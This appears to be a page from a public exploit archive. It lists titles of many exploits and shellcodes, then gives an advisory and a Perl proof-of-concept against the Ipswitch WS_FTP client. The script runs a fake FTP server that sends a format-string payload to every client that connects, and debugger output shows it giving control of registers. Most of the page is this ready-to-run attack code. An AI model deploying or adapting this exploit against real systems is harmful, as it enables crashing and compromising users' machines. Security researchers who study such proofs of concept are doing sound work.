880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
47 lines
No EOL
2 KiB
Python
Executable file
47 lines
No EOL
2 KiB
Python
Executable file
source: https://www.securityfocus.com/bid/30720/info
|
|
|
|
Ipswitch WS_FTP client is prone to a format-string vulnerability it fails to properly sanitize user-supplied input before passing it as the format specifier to a formatted-printing function.
|
|
|
|
An attacker may exploit this issue to execute arbitrary code in the context of the vulnerable application. Failed exploit attempts will likely result in a denial-of-service condition.
|
|
|
|
This issue affects the WS_FTP Home and WS_FTP Professional clients.
|
|
|
|
##################################################################################################################
|
|
#
|
|
# Ipswitch WS_FTP Home/WS_FTP Professional FTP Client Remote Format String vulnerability
|
|
# Vendor : http://www.ipswitch.com/
|
|
# Affected Os : Windows *
|
|
# Risk : critical
|
|
#
|
|
# This bug is pretty interresting in the way you have to exploit it in a weird way...
|
|
#
|
|
# With this PoC you'll get a full control over EAX/ECX
|
|
# (
|
|
# eax=41414141 ebx=0000000a ecx=41414141 edx=00000000 esi=41414142 edi=02b1f0ab
|
|
# eip=77d3ef68 esp=02b1f01c ebp=02b1f064 iopl=0 nv up ei pl nz na po nc
|
|
# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
|
|
# USER32!CharLowerA+0x93:
|
|
# 77d3ef68 8a10 mov dl,[eax] ds:0023:41414141=??
|
|
# )
|
|
# Fake Server PoC :
|
|
use strict;
|
|
use Socket;
|
|
|
|
my $port = shift || 21;
|
|
my $proto = getprotobyname('tcp');
|
|
my $goodz = "\x41\x41\x41\x41\x41\x41\x41\x41%x%x%x%x%x%x%x%s";
|
|
|
|
my $visitor;
|
|
socket(SOCKET, PF_INET, SOCK_STREAM, $proto)
|
|
or die "To bad $!\n";
|
|
setsockopt(SOCKET, SOL_SOCKET, SO_REUSEADDR, 1);
|
|
bind(SOCKET, pack( "S n a4 x8", AF_INET, $port, "\0\0\0\0" ))
|
|
or die "Shitz port $port is allready in use, shut down your ftp server !\n";
|
|
listen(SOCKET, 5) or die "Listen: $!";
|
|
print "Fake Server started on port $port\n";
|
|
while ($visitor = accept(NEW_SOCKET, SOCKET)) {
|
|
print NEW_SOCKET $goodz;
|
|
close NEW_SOCKET;
|
|
}
|
|
|
|
# Anyways, in the WS_FTP Home client there's still a buffer overflow in the FTP server message response ( 4100 chars answer --> done ). |